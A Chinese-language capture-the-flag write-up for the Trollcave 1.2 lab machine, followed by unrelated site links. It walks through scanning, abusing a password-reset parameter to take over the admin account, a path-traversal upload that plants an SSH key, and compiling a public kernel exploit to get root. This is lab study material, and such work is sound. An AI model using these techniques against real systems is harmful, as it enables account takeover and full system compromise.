关于

  • 下载地址:点我
  • Flag:root/flag.txt
  • 哔哩哔哩:视频

信息收集

  1. 不知道VM虚拟机怎么啦,导入镜像后,用Nmap扫了,发现不了主机。所以这次用了VBox。
  2. vboxnet0的IP为192.168.56.130,Nmap扫192.168.56.1/24,发现虚拟机IP为192.168.56.102

nmap -T4 -A 192.168.56.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-07-16 22:38 CST
Nmap scan report for 192.168.56.102
Host is up (0.00041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
|_ 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
80/tcp open http nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.60 seconds
  1. 发现开了ssh和http就没了。先去看Web的。通过插件看到好像是一个ruby-on-rails框架写的,然后有几篇文章讲关于这个网站的,翻译一下就能知道其中有讲到密码找回的,是新注册的用户才可以的。旁边还有显示在线的用户和新注册的用户。
  2. 随便点开一个用户的主页发现URL是从1~17的数字,17又是新注册的,所以我们猜想1就是管理员用户。
  3. 现在尝试去找回密码,通过Google可以找到这个框架的找回密码的在password_reset后面加new的。详细的可以点这里看一下。
  4. 打开http://192.168.56.102/password_resets/new输入管理员用户King发现不行,因为在上面说了,新注册的用户才可以找回密码。再输入xer这个新注册的用户。
  5. 然后有一段提示:Reset email sent. http://192.168.56.102/password_resets/edit.Ec80xGP57IiFEzBpAtx4AQ?name=xer把name的参数改成管理员用户King,发现可以改掉管理员的密码,改了之后登录管理员看看。
  6. 有可以上传文件的http://192.168.56.102/user_files还有可以开启上传文件的选项。
  7. 这里还有服务器的物理路径/var/www/trollcave/public/uploads/King/crown.png
  8. 这个框架会新建一个rails的用户给Web服务。所以我们打算上传一个shh的公钥,这样就可以直接用ssh连接服务器了。就是上传到../../../../../../home/rails/.ssh/authorized_keys,然后ssh rails@192.168.56.102连上。

提权

  1. 老套路python -c 'import pty;pty.spawn("/bin/bash")'获取交互终端。
  2. lsb_release -a查看系统的发行版本,准备exp
rails@trollcave:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.4 LTS
Release: 16.04
Codename: xenial
rails@trollcave:~$
rails@trollcave:~$ uname -a
Linux trollcave 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  1. 搜搜exp:searchsploit 4.4.0-116,编译上传到目标主机。
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Exploit Title | Path
| (/opt/exploit-database/)
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
----------------------------------------------------------------------------------------------------------------------------------------------- -----------------------------------------
Shellcodes: No Result
Papers: No Result cp /opt/exploit-database/exploits/linux/local/44298.c exp.c
gcc exp.c
scp a.out rails@192.168.56.102:a.out
  1. 加权限执行,拿到root权限,完事!
rails@trollcave:~$ ls
rails@trollcave:~$ pwd
/home/rails
rails@trollcave:~$ ls
a.out
rails@trollcave:~$ chmod +x a.out
rails@trollcave:~$ ./a.out
task_struct = ffff880027d29e00
uidptr = ffff88002ac26844
spawning root shell
root@trollcave:~#
root@trollcave:/root# cat flag.txt
et tu, dragon? c0db34ce8adaa7c07d064cc1697e3d7cb8aec9d5a0c4809d5a0c4809b6be23044d15379c5
root@trollcave:/root#

[Write-up]-Trollcave: 1.2的更多相关文章

  1. trollcave解题

    这是第一次完整地进行模拟渗透,前前后后一共花了一天时间,花了点时间写了个writeup. 博主是个菜鸡,如果有大神看到,请轻喷...... writeup下载:https://hrbeueducn-m ...

随机推荐

  1. [python] VSCode+Jupyter 安装步骤以及注意事项

    1. 安装Python2. 安装Jupyter, pip install 安装Jupyter(若使用Anaconda,则需要将其添加到环境变量中)3. 将Python的Scripts文件夹添加到系统环 ...

  2. 【Vue CLI】从安装到构建项目再到目录结构的说明

    目录 1. 构建我们的项目 2. 目录结构说明 2.1 build目录 2.2 config目录 2.3 src目录 2.4 static目录 "Vue CLI是一个基于Vue.js进行快速 ...

  3. jenkins和hudson

    自动化构建:Jenkins起源于Hudson.Hudson在商业软件的路上继续前行,而Jenkins则作为开源软件,从hudson分支出来. 因此现在的jenkins和hudson非常类似,但是随着二 ...

  4. Linux01——常用命令

    帮助命令: man 一行一行显示 ,按下enter键就向下显示一行,按q退出 --help 全部显示 日期类:date ,cal 显示当前目录:pwd 切换目录:cd(***重点***) cd .. ...

  5. Springmvc-crud-03(静态资源错误)

    错误描述:静态资源加载失败 原因:spring会拦截静态资源 解决办法: <!-- 配置spring支持静态资源请求 --> <mvc:default-servlet-handler ...

  6. CCF 试题编号: 201909-4 试题名称: 推荐系统

    这题是stl的综合应用,map要想快,直接上unordered_map,这样查询接近O(1),是不是很嗨皮. 思路其实还是很简单的,type+id做个Hash,由于set.insert的第一个返回值是 ...

  7. SDNU_ACM_ICPC_2020_Winter_Practice_1st

    A Petya is a big fan of mathematics, esecially its part related to fractions. Recently he learned th ...

  8. Go类型断言

    package main import ( "fmt" ) type Point struct { x int y int } func main() { var a interf ...

  9. 安卓之图像视图ImageView

    一.有关属性说明 (1)scaleType:指定图形的拉伸类型,默认是fitCenter:拉伸类型的取值如下: (2)src:指定图形来源,src图形按照scaleType拉伸:背景图不按scaleT ...

  10. LVS DR实验!

    =========================================================================== 操作图 设备:两台节点模拟机,一台调度机 调度机 ...